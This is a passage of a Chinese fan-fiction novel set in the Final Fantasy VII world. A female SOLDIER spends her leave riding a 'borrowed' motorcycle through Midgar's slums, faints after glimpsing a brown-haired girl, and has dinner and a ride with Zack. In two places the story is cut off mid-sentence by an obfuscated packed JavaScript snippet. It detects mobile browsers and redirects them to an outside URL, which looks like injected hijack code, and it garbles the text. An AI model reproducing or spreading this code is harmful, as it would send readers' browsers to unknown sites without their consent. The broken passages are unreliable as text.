等等……刚刚不是下午吗? “……” 所以我的一天假期就这么没了? 我宝贵的三天“殉职”假期,竟然就这么在昏睡中浪费掉了三分之一! 这简直比连续执行十个S级任务还让人难以接受。 我光速收拾好自己,刚从宿舍冲出去,就被什么东西差点绊倒,定睛一看,是扎克斯买的零食,放在我的门口。 正好我也饿了…… 眨了眨眼后,我拿起零食,又回到了宿舍里。 随手打开一个“神罗经典科技”素食饭团,我又开始盯着终端看。 先把扎克斯的消息差不多回一遍,然后…… 【出去玩吗?】 他那边很快就有了回复。 【我在出任务(挠头.jpg)前辈吃了我买的零食吗?】 饭团的外包装是那种冰冷的塑料感,里面的米粒有些干硬,夹杂着几根脱水的蔬菜丁,味道寡淡得像是在嚼纸板,全靠一点咸味酱料支撑。 扎克斯一看就是被超市的宣传冲昏了头脑,不过我连神罗的营养餐都能吃下去,这个饭团也能勉强接受。 指尖在终端屏幕上飞快敲击,我给扎克斯回复过去。 【吃了,味道像压缩木屑,下次买点阳间的。】 【!!超市的大叔跟我说这款味道最好的!】 【别管这个,今晚去餐厅吃饭,来不来?】 消息提示音轻快地响起,是扎克斯的回复,速度快得像他本人一样。 【晚餐?!好耶!太棒了前辈!不过我现在这个任务地点有点偏远,在米德加外围清理一些逃窜的实验体……估计最早也要晚上九点才能结束欸(哭泣狗狗头.jpg)前辈等我吗?我去哪里找前辈?!】 【下层老位置,九点半,迟到你就自己啃营养剂吧。】 发送完毕,我把终端丢到一边。时间还早,从现在到晚上九点半,中间还有漫长的大半天。因为过于无聊,我再次拿起终端,顺便开了一包糖,边吃边看。 点开内部论坛的匿名版块。这里偶尔会有些关于神罗高层八卦、或者某些秘密任务的流言蜚语,比那些官方通报有意思多了。 手指快速滑动,屏幕上掠过各种帖子标题。 “惊爆!某部门部长疑似与秘书存在不正当关系!” “科学部最新实验体失控,造成重大损失,消息被封锁!” “五台残党在第七区活动迹象,塔克斯已介入?” ……大部分都是些捕风捉影、真假难辨的消息。 我的视线在一个帖子标题上停顿了一下: “【讨论】新晋1st特种兵扎克斯·菲尔,实力究竟如何?能否超越前辈?” 啧,又是这种无聊的战力排名帖。不过,点进去看看别人怎么吹捧我的小弟,似乎也能打发点时间。 帖子里果然吵成一团,有人盛赞扎克斯年轻有为、潜力无限,有人则认为他经验尚浅、还需磨练,甚至还有人把他和萨菲罗斯、安吉尔、杰内西斯拿出来反复比较,但说的最多的还是扎克斯那股一往无前的劲头,以及他仿佛跟安吉尔一脉相传的“英雄荣誉”。 看着那些熟悉的ID用各种论据互相攻击,这种键盘论战真是有趣,我都有些想要加入讨论了。 不知不觉,时间一下流逝了,当我再次摸向零食袋里时,发现我已经吃完了—— 时间来到下午一点。 “……” 所以我的假期过去一半了是吗? 我忽然一下将零食袋丢进垃圾桶,抓起柜子里的制服和面罩,背着大太刀,就一下出了门。 不能再这样了…… 至少,咳,也去下层区逛逛吧? 第一步,交通工具。 我不想坐列车,指不定过身份扫描的时候报警就不好了——我真的有身份识别码吗? 于是我打算去偷个座驾。 停泊区内此刻空无一人,只有几台自动巡逻的安保机器人在远处缓慢移动,红色的扫描光束规律地扫过地面。 我轻巧地从通风口跳下,落地无声,迅速闪到一排高大的摩托车后面,利用车身作为掩护。 现在,该挑选我的“坐骑”了。 我的目光快速扫过眼前的车辆。那些制式摩托虽然性能稳定,但外形太过普通,缺乏“个性”。而且,开着神罗制式车辆去下层区,总感觉有点……太招摇了?像是在炫耀“我是神罗打手,快来找我麻烦”一样。 我的视线最终落在角落里一辆暗红色的摩托车上。它的造型比制式车更流畅,线条带着一种野性的侵略感,车身更低,轮胎更宽,排气管也经过了改装,看起来就不好惹。 车身上没有明显的部队编号,只有一个小小的、像是某种飞鸟翅膀的银色徽章。不错,就它了。低调(相对而言)又不失速度与激情,很符合我的审美。 我绕到那辆暗红色摩托车旁边,手指拂过冰凉的金属油箱。 很好,没有上锁。 大部分特种兵对自己的座驾都很有信心,或者说,他们根本不认为有人敢在神罗大厦内部偷他们的车。 我跨坐上去,感受着皮革座椅的质感,双手握住冰冷的金属把手。嗯,高度和握感都刚刚好。 第二步,启动。 我可没时间去找钥匙,或者慢吞吞地研究什么电子锁。 我的方法更直接。集中精神,一丝微弱的魔晄能量顺着我的指尖流入摩托车的点火系统内部线路。 这是个精细活,需要对机械结构和能量流动有相当的理解。好在我以前无聊的时候拆解过不少神罗的设备,对这种基础的点火线路还算熟悉。 细微的电流声响起,线路被强行接通。仪表盘上的指示灯瞬间亮起,发出幽幽的光芒。我拧动油门,引擎发出一阵低沉的咆哮,随即转为平稳而有力的轰鸣。车身随着引擎的震动而微微颤抖,仿佛一头蓄势待发的猛兽。排气管喷出一股淡淡的青烟,带着辛辣的燃油气味。 “好了,‘殉职’第二天,出发!” 我拉了拉面罩,直接开着摩托从出口冲了出去。 这辆摩托车很明显是经过特殊改装的,速度快的离谱,差点我没有一下跟墙来个亲密接触——幸好我动态视力不错,连萨菲罗斯的瞬斩都反应的过来。 进入坡道,光线骤然变暗。阳光被彻底隔绝,只有墙壁上昏黄的应急灯提供着有限的照明。空气开始变得浑浊,一股混杂着金属锈蚀、机油、以及某种难以形容的、类似腐败有机物的气味开始钻入鼻腔,透过面罩的缝隙刺激着我的嗅觉。 下层区的味道。 坡道很长,螺旋向下延伸,墙壁上布满了各种粗大的管道和线路,有些地方还渗着不明液体,留下深色的污渍。 摩托车的轰鸣声在狭窄的空间内被放大,回荡不息,震得耳膜有些发麻。我不得不稍微放慢速度,适应这昏暗的环境和陡峭的坡度。 车轮压过坑洼不平的路面,传来阵阵颠簸感,我调整着身体重心,保持着车辆的平衡。越往下,那股特有的、属于下层区的气味就越发浓郁。空气也变得潮湿黏腻,仿佛能粘在皮肤上。 终于,尽头出现了光亮。 眼前的景象与上层区截然不同。天空被巨大的金属圆盘彻底遮蔽,只留下人造阳光的冰冷。 无数破旧、拥挤的建筑杂乱无章地堆叠在一起,仿佛随时都会垮塌。 生锈的金属脚手架、缠绕纠结的电线、层层叠叠的广告牌构成了一片钢铁丛林。街道狭窄而潮湿,地面坑坑洼洼,随处可见堆积的垃圾和不明来源的污水。空气中弥漫着浓重的烟尘、食物腐败的酸臭、劣质燃料燃烧的刺鼻气味,以及无数人生活在一起所产生的汗味和□□的混合气息。 各种声音嘈杂地涌入耳朵:远处工厂传来的沉重机械撞击声、近处小贩的吆喝声、孩童的哭闹声、不知名生物发出的尖锐嘶鸣、水滴从高处管道滴落的“滴答”声……无数声音交织在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479170|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,形成一片混乱却又充满活力的背景噪音。 我放慢了车速,暗红色的摩托车在狭窄的街道上缓缓穿行。 路上的行人大多穿着破旧、沾满油污的衣服,脸上带着麻木或疲惫的表情。他们好奇地打量着我和我的座驾,眼神里混杂着羡慕、警惕,甚至是一丝不易察觉的敌意。 一个穿着过于暴露、脸上画着浓妆的女人倚在门框上,朝我抛了个媚眼,嘴里叼着劣质的烟卷。几个光着膀子、身上有纹身的男人聚集在巷口,用不怀好意的目光上下扫视着我,低声交谈着什么。 还是熟悉的场景,没什么意思。 我继续往前开,又到了下一个片区。 虽然飙车对我而言也没多刺激(还不如跟萨菲罗斯打一场),但也比在神罗宿舍腐烂的要好。 从第七区开到第五区,我先到了那个自己总是常去的餐厅预定了位置,接着从前台顺了块小面包,边吃边往我的座驾走。 巷子里,滴答滴答的水声,不知是什么液体,我擦了擦手套上的面包屑,忽的,瞥见了什么。 那是一个棕发的少女。 翠色的眸子,随着她走动,粉色发带轻轻摇晃,只是惊鸿一瞥,对方就消失在了对面的街区里。 “……” ……什么? 左臂的臂环猛的发出了一种堪称炽热的温度,我却没有心思管它。 自己好像被分成了两半。 一半汹涌的,仿佛要从我的身体里撕裂出去,另一半嗤笑着,伸着触手将它拉回,两种截然不同的声音在我脑海里碰撞。 ……这是……? 我突然眼前一黑。 晚上,九点半。 扎克斯几乎是小跑着冲进了这家灯光昏暗、喧闹嘈杂的餐厅。 视线在烟雾缭绕、人声鼎沸的环境里快速搜索,他很快就精准地捕捉到了角落里那个熟悉的身影——银白色的长发如同月华般流淌,即使在这样混乱的环境里也格外醒目。 女人半拉下面罩,洁白的睫毛下,莹绿色的眸子罕见的有些涣散,好像是陷入了什么思索之中,她托着腮,一边无意识的敲击桌面,一边望着外面的街道。 前辈还是这么好看又帅气! “前辈!我来了!” 他一下冲过去坐在她对面的位置上,对方回过神,视线落在他身上,显露出一个自然而然的微笑。 “来了啊,我都要饿死了。” “……嗯……因为有些棘手——我请客吧!” 说着,他就拿起菜单开始看起来,时不时瞥对面的她一眼,女人挑了挑眉,慢条斯理的摘下手套,开始啃桌子上免费的小面包。 扎克斯的心思不在菜单上,他顺手勾了自己常要的几个菜后,就将菜单递了过去,对方边吃着边顺手接过,然后有些疑惑。 “扎克斯,你怎么点了两份芥末?我们不是都不吃吗?” 糟了,走神—— “我不小心勾到了!” 她哦了一声,把芥末划掉后,开始专注的选菜。 “这个,这个,还有这个……嗯,这个看起来也不错。” 女人终于抬起头,手指在菜单上点了好几下,然后把菜单递给旁边路过的侍者,“都要双份。”她补充道,语气干脆利落。 侍者愣了一下,低头看了看她点的那一堆菜——几乎全是肉类和高热量的油炸食品,而且都要双份? 他有些迟疑地看向扎克斯,眼神里带着询问。扎克斯赶紧点头:“对对对,就这么多。” 既然说了要请客,那就要好好让前辈吃饱呀。 等待的间隙,她好像突然想到了什么,轻轻敲击桌面。 语气里是罕见的迷茫和疑惑。 “扎克斯……如果第一次遇见一个人,心跳加速,念念不忘,想要冲出去与对方见面——这是什么意思?” “……” 一股难以言喻的热流猛地冲上扎克斯的脸颊,他能感觉到自己的耳朵和脖子都在发烫。他下意识地想抬手摸摸脸,却发现自己的动作僵硬得像个刚出厂的机器人。 对面的她依旧保持着那个托腮的姿势,面罩半拉,露出的下半张脸线条柔和,嘴角甚至还沾着一点面包屑。她啃着那块免费小面包的动作没有丝毫停顿,仿佛刚才只是随口问了一句“今天天气怎么样”一样平常。 可她那双眼睛,却一眨不眨地看着他,带着一种纯粹的、探究的好奇,像是在观察什么从未见过的稀有生物。 “前、前辈……您、您刚才说什么?” 扎克斯好不容易才找回自己的声音,但开口却干涩得厉害,连带着舌头都有些打结,“心、心跳加速?还、还有……念念不忘?” 他磕磕巴巴地重复着关键词,试图确认自己没有听错,每一个字都像是从牙缝里挤出来的,还带着点不确定的颤音。他的眼神有些慌乱,不敢直视对方太久,只能在她脸上和桌面上那摊可疑的酱汁之间来回飘移。 “呃……这个……前辈,这种情况……嗯……”扎克斯努力组织着语言,感觉自己的脸更烫了,“一般来说……如果、如果一个人对另一个人有、有这种感觉……那、那很可能……就是……喜欢?” —— 喜欢吗?有点意思。 原来喜欢一个人会让我直接无意识晕厥两个半小时。 28. 第26章 这不是第一次扎克斯在我面前提到“喜欢”这个词,我之前一直以为它是只能用于物体的。 但是现在这事好像真落在我头上了。 太糟糕了,我能不“喜欢”吗? 刚刚晕倒这么一下我都以为我再也醒不来了。 “……喜欢?” 我重复着这个陌生的词语,像是在品尝什么味道古怪的新型营养剂。手指无意识地把玩着手套的边缘,视线落在扎克斯那张因为激动和窘迫而涨得通红的脸上。 他湛蓝的眼睛闪烁不定,像两簇被风吹动的火焰,根本不敢和我对视超过半秒。 “是啊,前辈……大概、大概就是喜欢吧?” 扎克斯的声音还是有些发飘,他像是下意识地想找点什么事情做来缓解尴尬,拿起桌上的菜单胡乱翻看着,眼睛却根本没在看上面的菜品,“就是……看到那个人会很开心,听不到她的消息会失落,想一直跟她待在一起,会忍不住去想她……” 他越说声音越小,说到最后几乎变成了蚊子哼哼,头也快要埋进菜单里去了。 “嗯……大概就是这样?书上,还有……安吉尔以前也说过类似的话……” 他把安吉尔搬出来当挡箭牌,试图增加自己说法的可信度,同时快速地指着菜单上的某个图片,“啊!前辈你看这个!熔岩巧克力蛋糕!看起来超好吃的!我们点这个当饭后甜点怎么样?” 他急于转移话题的意图简直不要太明显。 但我并没有放过他。 我皱着眉头,努力消化着他刚才那番磕磕巴巴的解释。 开心?失落?想一直待在一起?忍不住去想?这些听起来都太……麻烦了。尤其是,如果这种感觉还会伴随着突如其来的晕厥,那就更糟糕了。 “听起来像一种病。”我做出了结论,语气十分笃定,“扎克斯,你知道有什么办法可以治好这种‘喜欢’病吗?或者至少,让心跳别那么快,也别动不动就眼前发黑晕过去?” 啪嗒—— 菜单从扎克斯手中滑落,重重地砸在桌面上,发出不小的声响,引得邻桌几位客人好奇地侧目。但他完全顾不上这些,湛蓝的眼睛因为震惊而睁得溜圆,死死地盯着我,仿佛想从我脸上找出什么恶作剧的痕迹。 “晕、晕过去?!前辈?!你说什么?!什么时候的事?严不严重?受伤了吗?!” 扎克斯猛地从座位上站起来,双手撑着桌子,身体前倾,一连串的问题如同连珠炮般砸了过来,声音因为过度的紧张和担忧而拔高,甚至带着点不易察觉的颤抖。他那张原本因为窘迫而涨红的脸,此刻因为急切而更红了,额头上甚至冒出了细密的汗珠。 “前辈现在感觉怎么样?有没有哪里不舒服?头晕吗?恶心吗?我们现在就去医院!不,去神罗医疗部!那里的设备最好!” 扎克斯已经完全忘记了刚才关于“喜欢”的讨论,所有的注意力都被“晕过去”这三个字牢牢攫住。他看起来恨不得立刻把我从座位上拎起来,扛着就往医疗部冲。 看着他这副如临大敌、惊慌失措的样子,我反而觉得有些好笑。至于这么大惊小怪吗?不就是眼前一黑,再醒来就过了两个多小时而已。 比起以前在实验室里被那些研究员折腾得死去活来,或者在战场上被炸飞几十米远,这种程度的“小意外”根本不值一提。 “坐下,扎克斯,”我抬了抬手,示意他冷静下来,继续慢条斯理地啃着手里那块干巴巴的小面包,“喊那么大声干什么?影响别人吃饭了。” “可是前辈你晕过去了啊!” 扎克斯并没有坐下,反而更急了,他绕过桌子走到我身边,蹲下来,试图检查我的状况,“这怎么能是小事呢?到底是怎么回事?是不是之前的旧伤复发了?”他的声音里充满了懊恼和自责,好像我晕过去是他失职了一样。 我也没有旧伤啊,身上的口子基本不过1分钟就消失了。 “跟你说了没事,”我有点不耐烦地挥开他试图检查我额头的手,“就是下午在街上溜达的时候,突然觉得有点累,眼前一黑,就睡着了。醒来就在摩托车旁边,什么事都没有。你看我现在不是好好的吗?” 我指了指自己,除了有点饿,没有任何不适感。 “睡着了?就这么在街上睡着了?还眼前一黑?” 扎克斯显然不相信我这轻描淡写的说辞,他湛蓝的眼睛里写满了担忧和怀疑,“前辈,别骗我!这绝对不正常!你以前从来不会这样的!就算是连续执行几天几夜的任务,也只是会抱怨累,绝对不会突然晕倒!这肯定是有原因的!” 他蹲在我面前,仰着头看我,又着急又可怜,让我想起之前在路边看到的黑色大型犬,不过扎克斯没有尾巴。 “前辈,告诉我实话,到底发生了什么?你遇见了什么人?还是……臂环又出问题了?”扎克斯注意到了我裸露在外的左臂上那个特殊的金属臂环,眼神变得更加凝重。 啧,这家伙,观察力倒是挺敏锐。不过臂环的事情,连萨菲罗斯都没研究明白,告诉他也只是徒增烦恼。 至于那个让我“心跳加速,念念不忘”的棕发少女……说出来感觉更麻烦,扎克斯肯定又要追问个没完。 “没什么特别的,”我移开视线,看向窗外霓虹闪烁的街道,决定含糊其辞,“就是人太多了,空气不好,有点闷。可能是中暑了吧。至于臂环,它好得很,一点问题都没有。” “中暑?”扎克斯的声音里充满了难以置信,“现在是晚上,而且下层区温度并不高啊前辈……再说,你的体质怎么可能中暑……” 他显然不接受这个蹩脚的理由,还想继续追问,但这时,穿着制服的服务生端着一个托盘走了过来。 “两位晚上好,这是你点的餐前小食和饮料。”服务生将两杯冒着气泡的橙色饮料和一小篮热气腾腾的炸薯角放在桌上,礼貌地笑了笑,然后转身离开。食物的香气暂时冲淡了空气中紧张的气氛。 “先吃东西吧,”我拿起一根炸得金黄酥脆的薯角,蘸了点旁边的番茄酱,塞进嘴里,含糊地说,“我快饿死了。有什么事吃饱了再说。” 扎克斯看着我若无其事开始吃东西的样子,张了张嘴,似乎还想说什么,但最终还是把话咽了回去。他站起身,重新坐回我对面的位置,拿起一杯饮料喝了一大口,但眉头依旧紧锁着,那双蓝色的眼睛里依然充满了挥之不去的担忧。 “……好吧,”他闷闷地说,拿起菜单,试图重新投入点餐的大业中,但心思显然已经不在这上面了,“前辈你还想吃什么?这里的烤肉拼盘好像很不错……”他的目光时不时地还会飘向我,像是在确认我是否真的安然无恙。 我觉得之前点的双份快餐已经够吃了,于是就摇摇头,开始专心吃薯角。 扎克斯抿了抿唇,他边喝可乐边试图从我这里问出什么。 “那前辈……是遇见谁了吗?” “什么时候晕倒的呢?下午,具体是几点,等会我们返回神罗去科学部看看吧!之前前辈的臂环不都是科学部调试的吗?” 好多问题。 “真的没什么事的……啧。” 我突然伸出手,将一块薯角塞到他嘴里。 那根还冒着热气的金黄薯角,带着浓郁的番茄酱,就这么猝不及防地进了扎克斯的嘴里。他的话语戛然而止,脸上瞬间腾起更深的红晕,混合着惊讶、茫然,还有被食物堵住嘴的狼狈。他下意识地咀嚼起来,土豆的绵软和番茄酱的酸甜在口中蔓延开来。 “唔——前辈——” 我摆了摆手。 “好了,别提了。我好不容易有个假期,不得好好吃顿饭吗?” 此时正好服务员把我们点的汉堡和炸鸡块送上来了,我开始专心吃东西,扎克斯后面的话语被我自动化成了背景音乐,只是时不时应一声,表示我还活着。 “……” 终于,扎克斯那股执拗的劲消散了,开始与我一起认真的吃东西。 不过,这家伙吃饭的样子还是透着一股心不在焉。 他总是时不时地抬起头看我一眼,咀嚼的速度很慢,好像在品尝什么难以下咽的东西,而不是享受美食。喝可乐的时候,视线也总是不自觉地往我这边瞟,仿佛在确认我下一秒会不会又突然“中暑”倒地。 “喂,扎克斯,”我咽下一大口汉堡肉,含糊不清地说,“你那是什么表情?这汉堡里有毒吗?还是你觉得这顿饭是你断头饭?” “啊?没、没有!前辈!”他像是被踩到尾巴的猫一样,立刻挺直了腰板,用力摇头,差点把嘴里的食物喷出来,“这、这汉堡很好吃!真的!就是……就是有点烫……”他找了个蹩脚的理由,拿起可乐猛灌了一口。 “烫?”我挑眉,拿起一块炸鸡在他面前晃了晃,“这都快凉了。我看你不是觉得烫,是心里有鬼吧?” “我、我哪有心里有鬼!”扎克斯的脸又红了,他低下头,用力咬了一大口汉堡,仿佛想用食物堵住我的话,“我只是……只是还在想前辈你晕倒的事情……前辈,要不我们吃完饭,还是去医疗部看看吧?就当是例行检查,好不好?拜托了!” 我啧了一声,真是拿他没办法。 “行了行了,知道了。下次一定,现在闭嘴,吃饭。”我把最后一块炸鸡塞进嘴里,结束了这个话题。 餐厅里的气氛还算热闹。 旁边一桌是几个穿着工装的男人,正大声抱怨着神罗的压榨和微薄的薪水,不时爆发出几句粗口。吧台那边,一个打扮妖娆的女人正和酒保调笑着,发出咯咯的笑声。空气中弥漫着食物的香气、酒精的味道,还有各种各样的人声,嘈杂却充满着一种不同于上层区冰冷秩序的、混乱的生命力。 我们两个吃东西的速度都很快。 饭后,我站起身,随手将半拉的面罩重新戴好,遮住了大半张脸,只留下一双眼睛。 餐厅里的喧嚣被隔绝开一部分,夜晚的凉风吹在皮肤上,感觉清爽了不少。扎克斯也跟着站起来,亦步亦趋地跟在我身后,像个甩不掉的小尾巴。 他还在为刚才没能成功说服我去医疗部检查而耿耿于怀,那张年轻的脸上写满了“我很担心但我不敢再啰嗦了”的表情。 是时候该带他去玩大人该玩的东西了。 “走了,”我没回头,径直走向停在餐厅斜对面小巷里的那辆暗红色摩托车,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479171|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带你见识一下我的新座驾。” 扎克斯好奇地跟上来,当他看到那辆线条流畅、充满力量感的暗红色摩托车时,眼睛明显亮了一下。下层区昏暗的路灯和旁边店铺闪烁的霓虹灯光线落在那金属车身上,反射出迷离的光泽。这辆车的外形和他平时在神罗停泊区看到的制式摩托截然不同,带着一种不羁的野性。 “哇!前辈!这、这车好酷啊!” 扎克斯忍不住惊叹出声,他围着摩托车转了一圈,手指小心翼翼地拂过冰冷的油箱,眼神里充满了新奇和羡慕,“这是……前辈你新买的吗?还是……?”他后面的话没说出来,但那意思很明显——这车看起来可不便宜,而且,来源似乎有点可疑。 “借的。” 我言简意赅地回答,长腿一跨,直接坐上了驾驶位。柔软的皮革座椅包裹住身体,双手再次握住冰冷的金属把手,熟悉的感觉让我心情更加愉悦。我调整了一下坐姿,然后拍了拍身后的空位,侧过头,透过面罩看着他,“上来。” “欸?上、上来?” 扎克斯愣了一下,指了指自己,又指了指摩托车后座,脸上露出惊讶和一丝慌乱,“前、前辈,你要载我?可是……你的身体……” “我身体好得很,”我不耐烦地打断他,“让你上来就上来,哪那么多废话?还是说你想自己走回神罗大厦?这里的路可不好认,小心迷路了被哪个帮派抓去当苦力。” “不、不是!我当然不是那个意思!” 扎克斯被我这番半真半假的威胁吓了一跳,赶紧摆手,“我、我这就上来!这就上!” 他显得有些手足无措,大概是很少坐别人的摩托车,尤其是像我这样看起来就不怎么“安全”的驾驶者的车。 扎克斯先是笨拙地抬起一条腿,试图跨上后座,但因为动作幅度太大,差点失去平衡。 我能感觉到车身晃动了一下。 “啧,小心点,”我没好气地说,“摔了可没人扶你。” “对、对不起,前辈!”扎克斯稳住身形,深吸一口气,终于成功地跨坐到了我的身后。他的动作有些僵硬,身体绷得紧紧的,双手不知道该往哪里放,最后只是轻轻地搭在了后座两侧的扶手上,离我的身体还有一小段距离。 “抓稳了,”我提醒道,没等他回答,右手已经拧动了油门。 改装过的引擎瞬间爆发出低沉而有力的轰鸣,比之前启动时更加狂野。整个车身剧烈地颤抖起来,仿佛积蓄着无穷的力量,准备挣脱束缚。排气管喷出灼热的气流,在地面上留下一道转瞬即逝的白烟,空气中弥漫开更加浓烈的燃油气味。 “!” 扎克斯被这突如其来的动静吓了一跳,惊呼一声,身体下意识地向前倾,双手猛地环住了我的腰,紧紧地抱住。 他的手臂肌肉结实有力,隔着作战服,我依然能清晰地感受到那份紧贴的力度和传来的热度。 这家伙,抱得还真紧。 我能感觉到他胸膛贴着我的后背,心跳快得像是在打鼓,咚咚咚地撞击着我的脊椎。 “前辈!你慢点!” 扎克斯的声音就在我耳边响起,带着明显的惊慌和一丝不易察觉的兴奋。 “慢?那多没意思。” 我松开离合的瞬间,将油门拧到底。 摩托车如同挣脱缰绳的野马,猛地向前窜出。强大的惯性将扎克斯更紧地压在我的背上,我甚至能听到他倒吸一口凉气的声音。 暗红色的闪电划破下层区混乱的夜色,我们冲出了小巷,汇入了相对“宽敞”一些的主街道。 夜风呼啸着灌入面罩的缝隙,比之前骑行时更加猛烈,吹得我的银发在脑后狂舞。两旁的建筑飞速倒退,霓虹灯的光芒被拉长成模糊的光带,五颜六色地闪烁着。 地面坑洼不平,车轮碾过水坑,溅起肮脏的泥水。我熟练地操控着摩托车,在拥挤的车流和行人之间灵活穿梭,如同游走在钢铁丛林中的幽灵。 身后,扎克斯的惊呼声逐渐变成了夹杂着兴奋的喊叫。他紧紧抱着我的腰,身体随着摩托车的倾斜和转弯而左右摇摆。我能感觉到他最初的紧张正在慢慢被速度带来的刺激感所取代。 “哇啊啊——!前辈!好快!太棒了!” 他的声音盖过了引擎的轰鸣,充满了少年人的活力和激动,“我们这是要去哪里?回神罗吗?还是去别的地方兜风?”他显然已经把之前的担忧抛到了九霄云外,完全沉浸在了飙车的快感中。 “送你回去。” 我言简意赅地回答,稍微减了点速度,在一个急转弯处熟练的漂移,引来路边几个混混的口哨声和叫好声。 “啊?就回去了吗?” 扎克斯的语气里透着明显的失望,“不再多玩一会儿吗前辈?这车开起来感觉超爽的!比神罗那些破铜烂铁强多了!” “想玩下次自己‘借’一辆,”我不客气地说,再次加速,朝着通往上层区的坡道方向驶去,“我可没功夫一直陪你兜风,我的‘殉职’假期也是很宝贵的。” 虽然嘴上这么说,但我还是稍微绕了一点路,带着他在第五区和第六区交界处那些更混乱、更刺激的街区里多转了两圈。 29. 第27章 一个急转弯甩尾,摩托车带着刺耳的摩擦声冲入了通往上层区的上升通道。 和下方那混乱、逼仄的钢铁丛林不同,这条通道明显更宽敞、更整洁,墙壁是光滑的金属材质,虽然也布满了管道,但排列有序,没有滴漏着不明液体的锈蚀痕迹。 因为是上坡,摩托车的引擎发出了更加沉闷、更加用力的轰鸣,车身也随着坡度的增加而产生了更明显的颠簸。 就是这一下猛烈的震动,把我那根不太安分的低马尾从制服领口里彻底甩了出来。银白色的发丝如同拥有生命般,在风中划出一道弧线,然后——啪叽一下,精准地糊在了身后扎克斯的脸上。 “啊——噗!” 风声中传来他一声短促又有点狼狈的叫嚷,估计是被头发丝扫进了嘴里。紧接着,是带着难以抑制的兴奋和几分惊喜的喊声,几乎盖过了引擎的噪音:“前辈!你还在用我给你的那个发带啊!太好了!” 这有什么好高兴的?不就是一根发带吗? 似乎是为了表达他那莫名其妙的喜悦,也可能是上坡的惯性和持续不断的颠簸让他失去了平衡,扎克斯环在我腰上的手臂收得更紧了。 上坡路段,摩托车需要更大的动力,车身的震动也更加剧烈,每一次颠簸,他都会更用力地抱紧我,胸膛紧紧抵着我的背脊,几乎没有一丝缝隙。 “当然在用啊,不然用什么?” 声音在风声和引擎声中显得有些模糊。 “旧的坏了,新的能用,就用了呗。难道还要供起来当纪念品?” 我稍微侧了侧头,想看看这家伙脸上是什么傻样,但风太大,只能看到他乌黑的发丝被吹得乱七八糟。 “纪念品倒不至于啦!” 冲出通道的一刹那,视野豁然开朗。 宽阔平整的街道,秩序井然的建筑,以及空气中那股熟悉的消毒水味道——我们回到了上层区。与下层区的混乱喧嚣相比,这里安静得近乎死寂。摩托车的轰鸣声在这里显得格外突兀,引来了几个路过行人诧异的目光。 我松开油门,车速渐渐放缓。神罗大厦那标志性的巨大建筑已经在不远处,它的阴影笼罩着这片区域。 “……” 就在这时,视野内出现了什么。 前方有一个不妙又熟悉的银色身影,还有一些其他的穿西装的塔克斯……呃……等等,那个金毛是谁? 萨菲罗斯看起来好像在跟对方交涉什么。 偏偏这个时候,扎克斯还瞪大了眼睛,一副惊喜的模样。 “前辈,是萨菲罗斯!哎,那个是路法斯副总裁吗?” 呵呵。 轮胎与地面发出尖锐的摩擦声,高亢得几乎要刺破耳膜。 就在扎克斯兴奋地辨认出萨菲罗斯和那个金发男人——神罗副总裁路法斯·神罗的瞬间,我手腕猛地一拧,同时身体重心下压。 暗红色的摩托车如同拥有生命的猎豹,在平整的街道上划出一道流畅却又惊险的弧线,车身几乎与地面平行。强大的离心力将扎克斯更紧地甩向我的后背,他的惊呼声再次拔高,这次混杂着十足的惊吓和一丝没来由的兴奋。 “哇啊啊啊——前辈!你干什么啊!” 他几乎是吼出来的,抱在我腰上的手臂条件反射般地收得更紧,勒得我隔着护甲都能感觉到那份力道,“要撞上去了!不对!我们为什么要躲开啊?那不是萨菲罗斯吗?” 漂移完成得干净利落,摩托车稳稳地落在另一条岔路上,引擎的轰鸣声没有丝毫减弱,反而带着一种戏谑般的张扬,迅速将那几个站在远处的身影抛在身后。 我甚至能想象出萨菲罗斯那微微蹙起的眉头,至于其他人,估计连影子都没看清。 “躲开?” 我透过后视镜瞥了一眼身后那个还在大呼小叫的家伙,他因为刚才那个急甩尾,黑色的发丝被风吹得更加凌乱,几缕贴在他因为激动而泛红的脸颊上,那双蓝眼睛瞪得大大的,写满了刺激过后的兴奋和十足的好奇。 “谁躲开了?我只是觉得这条路风景更好。” “风景更好?” 他重复了一遍,语气里充满了难以置信,“可是前辈,我们刚才差点就冲到萨菲罗斯他们面前了哎!我还想跟他打个招呼呢!而且,那个金发的,真的是路法斯副总裁吧?我只在新闻上见过!他本人看起来好年轻啊!” 扎克斯显然对刚才惊鸿一瞥中看到的大人物充满了兴趣,完全忘了刚才差点被甩出去的惊险。 “前辈前辈,你认识那个路法斯副总裁吗?他找萨菲罗斯是有什么重要的事情吗?是不是关于杰内西斯他们叛逃的事情?” 他连珠炮似的发问,身体因为兴奋而微微前倾,下巴几乎要搁在我的肩膀上。 “不认识,”我随口回答,将车速稍微放缓了一些,毕竟这里是上层区,太过招摇容易引来不必要的麻烦,“大概是讨论下午茶喝什么口味的红茶吧,谁知道呢。那种大人物的事情,离我们这些打工仔远着呢。” “下午茶?” 扎克斯被我这个回答逗乐了,发出噗嗤一声笑,“前辈你又开玩笑了!他们看起来表情那么严肃,肯定是在谈论很重要的事情啦!不过也对哦,我们确实只是打工的……” 他嘟囔了一句,随即又兴奋起来,“但是前辈,你刚才那个漂移也太帅了吧!简直就像电影里一样!这车性能真的好棒!加速超快的!而且转弯好灵活!” 